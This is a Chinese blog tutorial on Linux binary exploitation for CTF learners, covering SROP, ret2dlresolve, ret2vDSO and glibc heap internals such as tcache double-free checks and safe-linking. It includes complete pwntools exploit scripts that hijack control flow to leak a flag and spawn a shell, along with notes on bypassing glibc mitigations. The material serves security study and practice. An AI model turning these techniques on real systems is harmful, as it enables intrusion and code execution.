7235 words
36 minutes
Beyond Basics: The Dark Arts of Binary Exploitation
2025-02-01
2025-10-23

前言#

自 23 年刚推开 Pwn 之门的一条窄缝以来,一直有着这样一个想法:「写一份有关 Pwn 的详细教程,又或许是经验梳理与总结,让有志之士从入门到入坟,少走弯路,不那么痛苦。」伟大吗?

本来想用 GitBook 或者建一个类似 wiki 的平台来写这个的,不过最终还是决定放在这里,为啥?我不知道……

不过我可能不会经常更新这篇 blog,而是 Keep updating as the mood strikes. 但是请放心,不论你现在看到的这篇文章有多简陋……给我点时间,未来它一定会成为一本不错的参考手册!

莫欺少年穷,咱顶峰相见。

——以上,书于 02/01/2025

更新于 09/10/2025

Flush or Be Flushed: C I/O 缓冲区的秘密生活#

stdout 有三种缓冲模式:

  • 行缓冲 (line-buffered) 只有在输出 \n 时才 flush(前提是目标是终端 tty)
  • 全缓冲 (fully-buffered) 只有缓冲区填满或程序结束才 flush
  • 无缓冲 (unbuffered) 每次写都会 flush

默认规则是:

  • 如果 stdout 指向终端 (tty),则为行缓冲
  • 如果 stdout 被重定向到 pipe / socket / file 则为全缓冲

Path or Be Pathed: The angr Edition#

有关于我符号执行的学习记录,请移步 分岔的森林:angr 符号执行札记

上帝掷骰子?不,其实是线性同余#

rand 生成的是伪随机数,范围是 [0,RAND_MAX][ 0,RAND\_MAX],只要 seed 相同就可以「预测」:

import ctypes
libc = ctypes.CDLL("./libc.so.6")
# libc.srand(1)
predicted = libc.rand()
TIP

没有使用 srand 设置 seed 的,默认为 srand(1)

一环套一环:ROP 链与栈上的奇技淫巧#

ret2csu#

我在 ROP Emporium - Challenge 8 写的已经很详细了,最近比赛赶时间,等我打完之后再来慢慢完善吧,只能暂且劳请各位老爷们先凑合着看了(如果有人看的话。/真叫人伤心)

SROP#

Principle#

Okay, the first thing, what is SROP?

SROP (Signal Return Oriented Programming),思想是利用操作系统信号处理机制的漏洞来实现对程序控制流的劫持。

首先得知道,信号是操作系统发送给程序的中断信息,通常用于指示发生了一些必须立即处理的异常情况。

sigreturn 则是一个特殊的 syscall,负责在信号处理函数执行完后根据栈上保存的 sigcontext 的内容进行清理工作(还原到程序在进行信号处理之前的运行状态,就好像什么都没有发生一样,以便于接着运行因中断而暂停的程序)。它帮助程序从 Signal Handler(泛指信号处理函数)中返回,并通过清理信号处理函数使用的栈帧来恢复程序的运行状态。

我们知道,在传统的 ROP 中,攻击者可以利用程序中已存在的 gadgets 构造一个指令序列来执行恶意代码。SROP 则在此基础上利用了信号处理机制的漏洞,在信号处理函数的上下文切换中执行攻击,实现一次控制所有寄存器的效果。

攻击步骤大致如下:

  • 攻击者通过在栈上伪造 sigcontext 结构来为控制寄存器的值做准备。一般会在这一步设置好后续 ROP Chain 中恶意代码要用到的参数,需要注意的是没有设置的寄存器在执行 sigreturn 后会被 zero out.
  • 想办法令目标程序执行 sigreturn,进行信号处理。
  • 调用 sigreturn 后,系统会暂停当前程序的执行,通过 Signal Handler 处理信号,处理完后根据 sigcontext 的内容恢复运行环境。
  • 这时候我们已经达成了设置参数的目的,可以选择返回到 ROP Chain 继续执行恶意代码。

正常情况下当遇到需要处理信号的时候,kernel 会在栈上创建一个新的栈帧,并生成一个 sigcontext 结构保存在新的栈帧中,sigcontext 本质上就是一个对执行信号处理函数前的运行环境的快照,以便之后恢复到执行信号处理函数之前的环境接着运行;接着切换上下文到 Signal Handler 中进行信号处理工作;当信号不再被阻塞时,sigreturn 会根据栈中保存的 sigcontext 弹出所有寄存器的值,有效地将寄存器还原为执行信号处理之前的状态。

那对于我们主动诱导程序去执行 sigreturn 的这种非正常情况,栈上肯定是不会有 kernel 生成的 sigcontext 结构的,我就问你你能不能在栈上伪造一个 sigcontext 出来?嘿嘿。

敏锐的你现在是不是想跳起来惊呼,这是不是好比核武器?没错,通过伪造 sigcontext 你可以一次控制所有寄存器的值,SO FUCKING POWERFUL!

不幸的是这也是它的缺点所在……如果你不能泄漏栈值,就无法为 RSP 等寄存器设置一个有效的值,这或许是个棘手的问题。但无论如何,这都是一个强大的 trick, 尤其是在可用的 gadgets 有限的情况下。

用于恢复状态的 sigcontext 的结构如下 (基于 x86_64):

+--------------------+--------------------+
| rt_sigeturn() | uc_flags |
+--------------------+--------------------+
| &uc | uc_stack.ss_sp |
+--------------------+--------------------+
| uc_stack.ss_flags | uc.stack.ss_size |
+--------------------+--------------------+
| r8 | r9 |
+--------------------+--------------------+
| r10 | r11 |
+--------------------+--------------------+
| r12 | r13 |
+--------------------+--------------------+
| r14 | r15 |
+--------------------+--------------------+
| rdi | rsi |
+--------------------+--------------------+
| rbp | rbx |
+--------------------+--------------------+
| rdx | rax |
+--------------------+--------------------+
| rcx | rsp |
+--------------------+--------------------+
| rip | eflags |
+--------------------+--------------------+
| cs / gs / fs | err |
+--------------------+--------------------+
| trapno | oldmask (unused) |
+--------------------+--------------------+
| cr2 (segfault addr)| &fpstate |
+--------------------+--------------------+
| __reserved | sigmask |
+--------------------+--------------------+

有关 SROP 的演示,这里还有一个视频讲的也很好,强推给你!

Example#

好了,知道了这些基础概念后,下面就通过 Backdoor CTF 2017 的 Fun Signals 这道题来实战一下吧~

.shellcode:0000000010000000 .686p
.shellcode:0000000010000000 .mmx
.shellcode:0000000010000000 .model flat
.shellcode:0000000010000000 .intel_syntax noprefix
.shellcode:0000000010000000
.shellcode:0000000010000000 ; ===========================================================================
.shellcode:0000000010000000
.shellcode:0000000010000000 ; Segment type: Pure code
.shellcode:0000000010000000 ; Segment permissions: Read/Write/Execute
.shellcode:0000000010000000 _shellcode segment byte public 'CODE' use64
.shellcode:0000000010000000 assume cs:_shellcode
.shellcode:0000000010000000 ;org 10000000h
.shellcode:0000000010000000 assume es:nothing, ss:nothing, ds:nothing, fs:nothing, gs:nothing
.shellcode:0000000010000000
.shellcode:0000000010000000 public _start
.shellcode:0000000010000000 _start: ; Alternative name is '_start'
.shellcode:0000000010000000 xor eax, eax ; __start
.shellcode:0000000010000002 xor edi, edi ; Logical Exclusive OR
.shellcode:0000000010000004 xor edx, edx ; Logical Exclusive OR
.shellcode:0000000010000006 mov dh, 4
.shellcode:0000000010000008 mov rsi, rsp
.shellcode:000000001000000B syscall ; LINUX - sys_read
.shellcode:000000001000000D xor edi, edi ; Logical Exclusive OR
.shellcode:000000001000000F push 0Fh
.shellcode:0000000010000011 pop rax
.shellcode:0000000010000012 syscall ; LINUX - sys_rt_sigreturn
.shellcode:0000000010000014 int 3 ; Trap to Debugger
.shellcode:0000000010000015
.shellcode:0000000010000015 syscall: ; LINUX - sys_rt_sigreturn
.shellcode:0000000010000015 syscall
.shellcode:0000000010000017 xor rdi, rdi ; Logical Exclusive OR
.shellcode:000000001000001A mov rax, 3Ch ; '<'
.shellcode:0000000010000021 syscall ; LINUX - sys_exit
.shellcode:0000000010000021 ; ---------------------------------------------------------------------------
.shellcode:0000000010000023 flag db 'fake_flag_here_as_original_is_at_server',0
.shellcode:0000000010000023 _shellcode ends
.shellcode:0000000010000023

可以看到这是一个非常简单的程序,单纯的就是为了考 SROP,以至于出题人都直接手撸汇编了。

注意到 flag 被硬编码在 0x10000023 这个位置了,所以我们的目标就是输出这个地址处的内容。由于这个程序没开 ASLR 什么的保护,拿下它还是非常轻松的。

简单分析一下这个程序,我们知道它在第一个 syscall 处调用了 read,从 stdin 读取了 0x400 bytes 到栈上。紧接着第二个 syscall 直接帮我们调用了 rt_sigreturn,那就不用我们自己动手了,我们只要伪造并发送 sigcontext 栈帧即可。思路是伪造一个 SYS_write 的调用,将 flag 输出到 stdout

Exploit#

#!/usr/bin/python3
from contextlib import contextmanager
from pwn import (
ELF,
ROP,
SigreturnFrame,
constants,
context,
gdb,
log,
process,
remote,
)
context(log_level="debug", terminal="kitty")
FILE = "./funsignals_player_bin"
HOST, PORT = "localhost", 1337
gdbscript = """
b *_start+11
c
"""
@contextmanager
def launch(local=True, debug=False, aslr=False, argv=None, envp=None):
target = None
try:
if local:
global elf
elf = ELF(FILE)
context.binary = elf
target = (
gdb.debug(
[elf.path] + (argv or []), gdbscript=gdbscript, aslr=aslr, env=envp
)
if debug
else process([elf.path] + (argv or []), env=envp)
)
else:
target = remote(HOST, PORT)
yield target
finally:
if target:
target.close()
def construct_payload():
flag_address = 0x10000023
rop = ROP(elf)
syscall = rop.syscall.address
frame = SigreturnFrame()
frame.rdi = 0x1
frame.rsi = flag_address
frame.rdx = 0x1337
frame.rax = constants.SYS_write
frame.rip = syscall
return bytes(frame)
def attack(target):
try:
payload = construct_payload()
target.send(payload)
response = target.recvall(timeout=3)
if b"flag" in response:
log.success(response[:0x27].decode("ascii"))
return True
except Exception as e:
log.exception(f"An error occurred while performing attack: {e}")
def main():
try:
with launch(debug=False) as target:
if attack(target):
log.success("Attack completed successfully.")
else:
log.failure("Attack did not yield a flag.")
except Exception as e:
log.exception(f"An error occurred in main: {e}")
if __name__ == "__main__":
main()

Summary#

总结:有的时候你的 ROP Chain 可能会缺少一些必要的 gadgets,导致无法设定某些后续攻击代码需要用到的参数,这时候就可以考虑使用 SROP 来控制寄存器。当然,使用 SROP 也是有条件的,比如你起码得有 syscall 这个 gadget,并且能控制 rax 的值为 sigreturn 的系统调用号,还有一点也很重要,就是 rsp 必须指向伪造的 frame 。

TIP

要知道 rax 是一个特殊的寄存器,通常用于保存函数的返回值。所以当我说控制 rax 的值时,你不一定非得通过某些 gadgets 来实现这一点,有时候程序本身就可以为你设置好它,比如 read 函数会返回读到的字节数。

References#

ret2dlresolve#

Principle#

对于 dynamically linked 的程序,当它第一次调用共享库中的函数时,动态链接器(如 ld-linux-x86-64.so.2)会通过 _dl_runtime_resolve 函数动态解析共享库中符号的地址,并将解析出来的实际地址保存到 GOT (Global Offset Table) 中,这样下次调用这个函数就不需要再次解析,可以直接通过全局偏移表进行跳转。

以上流程我们称之为重定位 (Relocation)。

具体重定位流程以及为什么需要重定位,不同 RELRO 保护级别之间的区别之类的,我之后再单独开一个小标题来写,这里先占个坑。

_dl_runtime_resolve 函数从栈中获取对一些它需要的结构的引用,以便解析指定的符号。因此攻击者通过伪造这个结构就可以劫持 _dl_runtime_resolve 让它去解析任意符号地址。

Example#

我们就以 pwntools 官方文档里面提供的示例程序来学习 how to ret2dlresolve. 其实就是学一下如何使用它提供的自动化工具……有关如何手动伪造 _dl_runtime_resolve 所需的结构体,以及一些更深入的话题,我之后应该还会回来填这个坑,先立 flag 了哈哈哈。

示例程序来源于 pwnlib.rop.ret2dlresolve — Return to dl_resolve,通过下面这条指令来编译:

Terminal window
gcc ret2dlresolve.c -o ret2dlresolve \
-fno-stack-protector \
-no-pie

pwntools 官方文档里给我们的程序源码是这样的:

#include <unistd.h>
void vuln(void) {
char buf[64];
read(STDIN_FILENO, buf, 200);
}
int main(int argc, char **argv) { vuln(); }

但是编译出来后发现真 TM 坑,没有控制前三个参数的 gadgets,导致我们不能写入伪造的结构体……所以为了实验的顺利进行,我只得手动插入几个 gadgets 了:

#include <unistd.h>
void free_gadgets() {
__asm__("pop %rdi; ret");
__asm__("pop %rsi; ret");
__asm__("pop %rdx; ret");
}
void vuln(void) {
char buf[64];
read(STDIN_FILENO, buf, 200);
}
int main(int argc, char **argv) { vuln(); }

程序很简单,从 stdin 读取了 200 字节数据到 buf,由于 buf 只有可怜的 64 字节空间,故存在 136 字节溢出空间。空间如此之充裕,让我们有足够的余地来编排一曲邪恶的代码交响乐,演绎攻击者的狂想曲。

我们的目标是通过 ret2dlresolve 技术来 getshell. 思路大致应该是:将伪造的用于解析 system 符号的结构体放到一个 rw 空间,并提前设置好 system 函数要用到的参数,也就是将 rdi 设为 /bin/sh 字符串的地址。接着在栈上布置我们伪造的结构的地址,以便 _dl_runtime_resolve 引用我们伪造的这个结构体来解析符号。现在我们调用 _dl_runtime_resolve 就会解析出 system 的地址,根据我们先前设置好的参数,程序会乖乖的 spawn a shell.

Exploit#

#!/usr/bin/python3
from contextlib import contextmanager
from pwn import (
ELF,
ROP,
Ret2dlresolvePayload,
context,
flat,
gdb,
log,
process,
remote,
)
context(log_level="debug", terminal="kitty")
FILE = "./ret2dlresolve"
HOST, PORT = "localhost", 1337
gdbscript = """
b *vuln+25
c
"""
@contextmanager
def launch(local=True, debug=False, aslr=False, argv=None, envp=None):
target = None
try:
if local:
global elf
elf = ELF(FILE)
context.binary = elf
target = (
gdb.debug(
[elf.path] + (argv or []), gdbscript=gdbscript, aslr=aslr, env=envp
)
if debug
else process([elf.path] + (argv or []), env=envp)
)
else:
target = remote(HOST, PORT)
yield target
finally:
if target:
target.close()
def construct_payload(padding_to_ret, first_read_size):
dlresolve = Ret2dlresolvePayload(elf, symbol="system", args=["/bin/sh"])
fake_structure = dlresolve.payload
rop = ROP(elf)
rop.read(0, dlresolve.data_addr, len(fake_structure))
rop.raw(rop.ret.address)
rop.ret2dlresolve(dlresolve)
log.success(rop.dump())
raw_rop = rop.chain()
return flat({padding_to_ret: raw_rop, first_read_size: fake_structure})
def attack(target):
try:
payload = construct_payload(0x48, 0xC8)
target.sendline(payload)
target.interactive()
except Exception as e:
log.exception(f"An error occurred while performing attack: {e}")
def main():
try:
with launch(debug=False) as target:
attack(target)
except Exception as e:
log.exception(f"An error occurred in main: {e}")
if __name__ == "__main__":
main()

Summary#

当没有可用的 syscall gadgets 来实现 ret2syscallSROP,并且没有办法泄漏 libc 地址时,可以考虑 ret2dlresolve

References#

ret2vDSO#

Principle#

vDSO (Virtual Dynamic Shared Object) 是 Linux 内核为用户态程序提供的一个特殊共享库,注意它是虚拟的,本身并不存在,它做的只是将一些常用的内核态调用映射到用户地址空间。这么做的目的是为了加速系统调用,避免频繁地从用户态切换到内核态,有效的减少了切换带来的巨大开销。

在 vDSO 区域 可能存在一些 gadgets,用于从用户态切换到内核态。我们关注的就是这块区域里有没有什么可供我们利用的 gadgets,通常需要手动把 vDSO dump 出来分析。

Example#

崩溃了兄弟,我自己出了一道题然后折腾了两天做不出来……我好菜啊……受到致命心理打击。例题等我缓过来再说吧,估计一年都不想碰这个了……反正只要知道 vDSO 区域里面存在一些可用的 gadgets 就好了,剩下的和普通 ROP 没啥区别。

示范一下怎么通过 gdb dump 出 vDSO:

pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
Start End Perm Size Offset File
0x555555554000 0x555555555000 r--p 1000 0 /home/cub3y0nd/Projects/ret2vDSO/ret2vDSO
0x555555555000 0x555555556000 r-xp 1000 1000 /home/cub3y0nd/Projects/ret2vDSO/ret2vDSO
0x555555556000 0x555555557000 r--p 1000 2000 /home/cub3y0nd/Projects/ret2vDSO/ret2vDSO
0x7ffff7fbf000 0x7ffff7fc1000 rw-p 2000 0 [anon_7ffff7fbf]
0x7ffff7fc1000 0x7ffff7fc5000 r--p 4000 0 [vvar]
0x7ffff7fc5000 0x7ffff7fc7000 r-xp 2000 0 [vdso]
0x7ffff7fc7000 0x7ffff7fc8000 r--p 1000 0 /usr/lib/ld-linux-x86-64.so.2
0x7ffff7fc8000 0x7ffff7ff1000 r-xp 29000 1000 /usr/lib/ld-linux-x86-64.so.2
0x7ffff7ff1000 0x7ffff7ffb000 r--p a000 2a000 /usr/lib/ld-linux-x86-64.so.2
0x7ffff7ffb000 0x7ffff7fff000 rw-p 4000 34000 /usr/lib/ld-linux-x86-64.so.2
0x7ffffffde000 0x7ffffffff000 rw-p 21000 0 [stack]
0xffffffffff600000 0xffffffffff601000 --xp 1000 0 [vsyscall]
pwndbg> dump memory vdso.so 0x7ffff7fc5000 0x7ffff7fc7000

ROPgadget 分析 dump 出来的文件,大概那么一看有将近 500 个 gadgets,不过好像并不是很实用呢?感觉用这个 trick 性价比不高,不过也是一个值得尝试的方法。

嗯……再来介绍个好东西,叫 ELF Auxiliary Vectors (AUXV),ELF 辅助向量。它是内核在加载 ELF 可执行文件时传递给用户态程序的一组键值对。包含了与程序运行环境相关的底层信息,例如系统调用接口位置、内存布局、硬件能力等。

当一个程序被加载时,Linux 内核将参数数量 (argc)、参数 (argv)、环境变量 (envp) 以及 AUXV 结构传递给程序的入口函数。程序可以通过系统提供的 getauxval 访问这些辅助向量,以获取系统信息。

看看当前最新的 v6.14-rc1 内核中有关它的定义(旧版本中有关它的定义在 elf.h 中):

/* SPDX-License-Identifier: GPL-2.0 WITH Linux-syscall-note */
#ifndef _UAPI_LINUX_AUXVEC_H
#define _UAPI_LINUX_AUXVEC_H
#include <asm/auxvec.h>
/* Symbolic values for the entries in the auxiliary table
put on the initial stack */
#define AT_NULL 0 /* end of vector */
#define AT_IGNORE 1 /* entry should be ignored */
#define AT_EXECFD 2 /* file descriptor of program */
#define AT_PHDR 3 /* program headers for program */
#define AT_PHENT 4 /* size of program header entry */
#define AT_PHNUM 5 /* number of program headers */
#define AT_PAGESZ 6 /* system page size */
#define AT_BASE 7 /* base address of interpreter */
#define AT_FLAGS 8 /* flags */
#define AT_ENTRY 9 /* entry point of program */
#define AT_NOTELF 10 /* program is not ELF */
#define AT_UID 11 /* real uid */
#define AT_EUID 12 /* effective uid */
#define AT_GID 13 /* real gid */
#define AT_EGID 14 /* effective gid */
#define AT_PLATFORM 15 /* string identifying CPU for optimizations */
#define AT_HWCAP 16 /* arch dependent hints at CPU capabilities */
#define AT_CLKTCK 17 /* frequency at which times() increments */
/* AT_* values 18 through 22 are reserved */
#define AT_SECURE 23 /* secure mode boolean */
#define AT_BASE_PLATFORM 24 /* string identifying real platform, may
* differ from AT_PLATFORM. */
#define AT_RANDOM 25 /* address of 16 random bytes */
#define AT_HWCAP2 26 /* extension of AT_HWCAP */
#define AT_RSEQ_FEATURE_SIZE 27 /* rseq supported feature size */
#define AT_RSEQ_ALIGN 28 /* rseq allocation alignment */
#define AT_HWCAP3 29 /* extension of AT_HWCAP */
#define AT_HWCAP4 30 /* extension of AT_HWCAP */
#define AT_EXECFN 31 /* filename of program */
#ifndef AT_MINSIGSTKSZ
#define AT_MINSIGSTKSZ 51 /* minimal stack size for signal delivery */
#endif
#endif /* _UAPI_LINUX_AUXVEC_H */

对于特定的架构可能还有一些特别的宏定义:

/* SPDX-License-Identifier: GPL-2.0 WITH Linux-syscall-note */
#ifndef _ASM_X86_AUXVEC_H
#define _ASM_X86_AUXVEC_H
/*
* Architecture-neutral AT_ values in 0-17, leave some room
* for more of them, start the x86-specific ones at 32.
*/
#ifdef __i386__
#define AT_SYSINFO 32
#endif
#define AT_SYSINFO_EHDR 33
/* entries in ARCH_DLINFO: */
#if defined(CONFIG_IA32_EMULATION) || !defined(CONFIG_X86_64)
# define AT_VECTOR_SIZE_ARCH 3
#else /* else it's non-compat x86-64 */
# define AT_VECTOR_SIZE_ARCH 2
#endif
#endif /* _ASM_X86_AUXVEC_H */

以上所有内容的参考链接我都放在末尾的 References 了,感兴趣的自行查阅。

我们可以通过指定 LD_SHOW_AUXV=1 来查看程序的 AUXV 信息:

Terminal window
λ ~/ LD_SHOW_AUXV=1 w
AT_SYSINFO_EHDR: 0x7f92c06b9000
AT_MINSIGSTKSZ: 1776
AT_HWCAP: 178bfbff
AT_PAGESZ: 4096
AT_CLKTCK: 100
AT_PHDR: 0x626d19090040
AT_PHENT: 56
AT_PHNUM: 13
AT_BASE: 0x7f92c06bb000
AT_FLAGS: 0x0
AT_ENTRY: 0x626d19092940
AT_UID: 1000
AT_EUID: 1000
AT_GID: 1000
AT_EGID: 1000
AT_SECURE: 0
AT_RANDOM: 0x7ffca3edf4e9
AT_HWCAP2: 0x2
AT_EXECFN: /usr/bin/w
AT_PLATFORM: x86_64
AT_RSEQ_FEATURE_SIZE: 28
AT_RSEQ_ALIGN: 32
14:19:59 up 3:54, 1 user, load average: 0.52, 0.57, 0.59
USER TTY LOGIN@ IDLE JCPU PCPU WHAT
cub3y0nd tty1 10:26 3:53m 6:43 ? xinit /home/cub3y0nd/.xinitrc -- /etc/X11/xinit/xs

注意到这个变量是以 LD_ 开头的,说明动态链接器会负责解析这个变量,因此,如果程序是静态链接的,那使用这个变量将不会得到任何输出。

但是得不到输出不代表它没有,用 pwndbgi auxvauxv 也可以查看程序的 AUXV 信息(或者你手动 telescope stack):

pwndbg> i auxv
33 AT_SYSINFO_EHDR System-supplied DSO's ELF header 0x7ffff7ffd000
51 AT_MINSIGSTKSZ Minimum stack size for signal delivery 0x6f0
16 AT_HWCAP Machine-dependent CPU capability hints 0x178bfbff
6 AT_PAGESZ System page size 4096
17 AT_CLKTCK Frequency of times() 100
3 AT_PHDR Program headers for program 0x400040
4 AT_PHENT Size of program header entry 56
5 AT_PHNUM Number of program headers 6
7 AT_BASE Base address of interpreter 0x0
8 AT_FLAGS Flags 0x0
9 AT_ENTRY Entry point of program 0x40101d
11 AT_UID Real user ID 1000
12 AT_EUID Effective user ID 1000
13 AT_GID Real group ID 1000
14 AT_EGID Effective group ID 1000
23 AT_SECURE Boolean, was exec setuid-like? 0
25 AT_RANDOM Address of 16 random bytes 0x7fffffffe789
26 AT_HWCAP2 Extension of AT_HWCAP 0x2
31 AT_EXECFN File name of executable 0x7fffffffefce "/home/cub3y0nd/Projects/ret2vDSO/ret2vDSO"
15 AT_PLATFORM String identifying platform 0x7fffffffe799 "x86_64"
27 AT_RSEQ_FEATURE_SIZE rseq supported feature size 28
28 AT_RSEQ_ALIGN rseq allocation alignment 32
0 AT_NULL End of vector 0x0

这之中我们最关心的应该是 AT_SYSINFO_EHDR,它与 vDSO 的起始地址相同。因此,只要能把它泄漏出来,我们就可以掌握 vDSO 的 gadgets 了。

其中 AT_RANDOM 好像也是一个很实用的东西,等我有空了再好好研究研究这些,话说这是我立的第几个 flag 了……

一般程序的返回地址之后紧接着的就是 argc,然后是 argv,再之后就是 envp,最后还有一堆信息,它们就是 AUXV 了,这些都在栈上保存,自己研究去吧,我心好累……

Summary#

反正我感觉这是一个性价比不怎么高的 trick,不过要是实在没办法搞到可用的 gadgets 的话还是可以考虑一下的。

References#

Try-Catch, Catch Me If You Can#

这是关于 (CHOP) Catch Handler Oriented Programming 的,我单独写了一篇博客,请移步 CHOP Suey: 端上异常处理的攻击盛宴

当 gadgets 缺席:Who needs “pop rdi” when you have gets() ?#

由于篇幅不小,所以有关这个 trick 我也单独分离出来了一篇博客,请移步 无 gadgets 也能翻盘:ret2gets 能否成为核武器?

薛定谔的 free chunks: Double Free, Double Fun ?#

TIP

基于 glibc-2.31 的源码。

宏观上来看,程序调用 free 函数首先会进入 __libc_free,在这里主要是做了一些初始化工作,诸如看看有没有 __free_hook、是不是 mmap 出来的、初始化 tcache_perthread_struct 等。然后调用 _int_free 函数,这个函数才是真正负责分门别类,确定最终我们 free 的 chunk 应该被放到哪里的地方。

/* We overlay this structure on the user-data portion of a chunk when
the chunk is stored in the per-thread cache. */
typedef struct tcache_entry {
struct tcache_entry *next;
/* This field exists to detect double frees. */
struct tcache_perthread_struct *key;
} tcache_entry;
/* There is one of these for each thread, which contains the
per-thread cache (hence "tcache_perthread_struct"). Keeping
overall size low is mildly important. Note that COUNTS and ENTRIES
are redundant (we could have just counted the linked list each
time), this is for performance reasons. */
typedef struct tcache_perthread_struct {
uint16_t counts[TCACHE_MAX_BINS];
tcache_entry *entries[TCACHE_MAX_BINS];
} tcache_perthread_struct;
static __thread tcache_perthread_struct *tcache = NULL;

先看看被 free 的 chunk 是怎么被放入 tcachebin 的:

/* Caller must ensure that we know tc_idx is valid and there's room
for more chunks. */
static __always_inline void tcache_put(mchunkptr chunk, size_t tc_idx) {
tcache_entry *e = (tcache_entry *)chunk2mem(chunk);
/* Mark this chunk as "in the tcache" so the test in _int_free will
detect a double free. */
e->key = tcache;
e->next = tcache->entries[tc_idx];
tcache->entries[tc_idx] = e;
++(tcache->counts[tc_idx]);
}
  • 当 chunk 被放入 tcache 时,glibc 会把 data 部分视作 tcache_entry
  • 之后将当前线程的 tcache_perthread_struct 结构体地址写入到 key 字段(与 bk 重叠)
  • 接着设置 next 字段指向当前 tcachebin 中的下一个 free chunk(与 fd 重叠)
  • 然后将当前 tcachebin 的 header 设为这个新放入的 chunk
  • 增加此 bin 的 counts

然后再看 double free 检查:

#if USE_TCACHE
{
size_t tc_idx = csize2tidx(size);
if (tcache != NULL && tc_idx < mp_.tcache_bins) {
/* Check to see if it's already in the tcache. */
tcache_entry *e = (tcache_entry *)chunk2mem(p);
/* This test succeeds on double free. However, we don't 100%
trust it (it also matches random payload data at a 1 in
2^<size_t> chance), so verify it's not an unlikely
coincidence before aborting. */
if (__glibc_unlikely(e->key == tcache)) {
tcache_entry *tmp;
LIBC_PROBE(memory_tcache_double_free, 2, e, tc_idx);
for (tmp = tcache->entries[tc_idx]; tmp; tmp = tmp->next)
if (tmp == e)
malloc_printerr("free(): double free detected in tcache 2");
/* If we get here, it was a coincidence. We've wasted a
few cycles, but don't abort. */
}
if (tcache->counts[tc_idx] < mp_.tcache_count) {
tcache_put(p, tc_idx);
return;
}
}
}
#endif

这里就只讲关键部分了。首先它将我们要 free 的 chunk 的 data 部分转换为了 tcache_entry 结构体,使用 e 指代。如果 e->key == tcache 的话,就怀疑是不是有 double free 的风险,因为我们知道,当第一次 free 时,glibc 会写 e->key = tcache。但并不能因此而直接下定论说这就是一个 double free,因为用户写入的数据有概率正巧等于 tcache,虽说只有 1/2^<size_t> 的极小概率,但也不能忽略。所以还需要做进一步检查,确定我们要 free 的 chunk 是否已经存在于 tcachebin 中了,于是就进入 for 循环,对这个 tcachebin 中的每一个 free chunk 做判断,如果它与 e 相同,则说明确实触发了 double free 。

那么为了绕过 double free,可行的方案可能有:

  1. 把 key 改成非 tcache 值,让第一步检查失效
  2. 篡改 next 指针,让遍历不到目标 chunk,从而绕过第二步的 in list 检查

解链之诗:堆上咒语的逆诵#

Safe-linking#

从 glibc-2.32 开始,引入了 safe-linking 这一 mitigation,用于保护单向链表(tcache 和 fastbin),原理是 mangling fd 指针,使其更难因为被任意值覆盖而导致一系列的漏洞利用。

直接看代码好了,因为这又是一个及其简单的 mitigation,但却和历史上许多简单的设计一样,起到了非凡的效果……每次碰到这种简单的东西都会让我由衷地感慨,这又怎么不算是人类的智慧之光呢?OrZ

下面我引用的是当前最新的 glibc-2.42 的源码:

/* Safe-Linking:
Use randomness from ASLR (mmap_base) to protect single-linked lists
of Fast-Bins and TCache. That is, mask the "next" pointers of the
lists' chunks, and also perform allocation alignment checks on them.
This mechanism reduces the risk of pointer hijacking, as was done with
Safe-Unlinking in the double-linked lists of Small-Bins.
It assumes a minimum page size of 4096 bytes (12 bits). Systems with
larger pages provide less entropy, although the pointer mangling
still works. */
#define PROTECT_PTR(pos, ptr) \
((__typeof (ptr)) ((((size_t) pos) >> 12) ^ ((size_t) ptr)))
#define REVEAL_PTR(ptr) PROTECT_PTR (&ptr, ptr)

可以看到新加入了两个 macro,分别是用来 mangling 的 PROTECT_PTR 和用来 de-mangling 的 REVEAL_PTR

右移 12 bits 是为了只保留 ASLR 部分,丢弃了固定的偏移位。PROTECT_PTR 中,pos 代表当前 chunk 的 fd 的地址,ptr 代表 fd 指向的地址,也就是当前 bin 中的第一个元素,所以一开始 bin 中没有元素的时候它为 NULL。这个的话我觉得可以自己去读一遍源码,一目了然。

至于怎么 bypass,相信聪明的你一定会自己研究明白的,不对吗?

TIP

XOR 是可逆运算。

Alignment Check#

除了 safe-linking 外,对于我们能 malloc / free 的 chunk 还新增了一个对齐检查:

/* Check if m has acceptable alignment */
#define misaligned_mem(m) ((uintptr_t)(m) & MALLOC_ALIGN_MASK)
#define misaligned_chunk(p) (misaligned_mem( chunk2mem (p)))

其中,tcache 用的是 misaligned_mem,而 fastbin 用的则是 misaligned_chunk,这是因为 tcache bin 中存储的都是 user data,而 fastbin 中存储的都是从 chunk header 开始的地址。不过不管用哪个,最后检查的都是 user data 的地址是否是对齐的,要求是 & MALLOC_ALIGN_MASK == 0,通常就是 & 0xf == 0,也就是 16 字节对齐,即低 4 bits 为 0,这就导致攻击者无法将其篡改为任意地址,更多的时候可能需要用临近地址替代来达到目的。

Mirror, Mirror on the Heap#

这里主要是想写一下 overlapping 这个 trick,概念非常简单,直接看代码吧,这里参考的是当前最新的 glibc-2.42 的代码。

/* Get size, ignoring use bits */
#define chunksize(p) (chunksize_nomask (p) & ~(SIZE_BITS))
/* Like chunksize, but do not mask SIZE_BITS. */
#define chunksize_nomask(p) ((p)->mchunk_size)
/* Ptr to next physical malloc_chunk. */
#define next_chunk(p) ((mchunkptr) (((char *) (p)) + chunksize (p)))
/* Size of the chunk below P. Only valid if !prev_inuse (P). */
#define prev_size(p) ((p)->mchunk_prev_size)
/* Ptr to previous physical malloc_chunk. Only valid if !prev_inuse (P). */
#define prev_chunk(p) ((mchunkptr) (((char *) (p)) - prev_size (p)))
/* extract p's inuse bit */
#define inuse(p) \
((((mchunkptr) (((char *) (p)) + chunksize (p)))->mchunk_size) & PREV_INUSE)

由于过于简单,我就不细写解析了,简单来说就是要去理解一下它是怎么通过 chunk header 来定位前后 chunk 的,以及怎么判断当前 chunk 是否处于 free 状态。

因此只要我们能篡改 chunk size 就可以让它 malloc / free 涵盖到更大的范围,称为 chunk extend,也叫做 chunk overlapping 。当然,也可以反过来,把这个大小改小可以实现一个 chunk shrink 的操作。

Doubly Linked, Doubly Doomed#

这里只看高版本 unlink 利用,参考的是 how2heap 中的 glibc_2.35/unsafe_unlink,低版本同理,不过更简单。

思路是先创建两个 chunk,在 chunk 0 中创建一个 fake chunk,并且改变 chunk 1 的 metadata,修改它的 prev_size 为 fake chunk 的 chunk_size,并修改它的 chunk_sizeprev_inuse bit 为 0,这样一来我们 free chunk 1 的时候它就会认为上一个 chunk 是 free’d 状态,会进行 backward consolidation,将 chunk 1 与 fake chunk 进行合并,即对 fake chunk 进行 unlink 。

free 判断是否需要合并的代码如下(这里只高亮了 example 中会进入的逻辑,具体情况还需要自己具体分析):
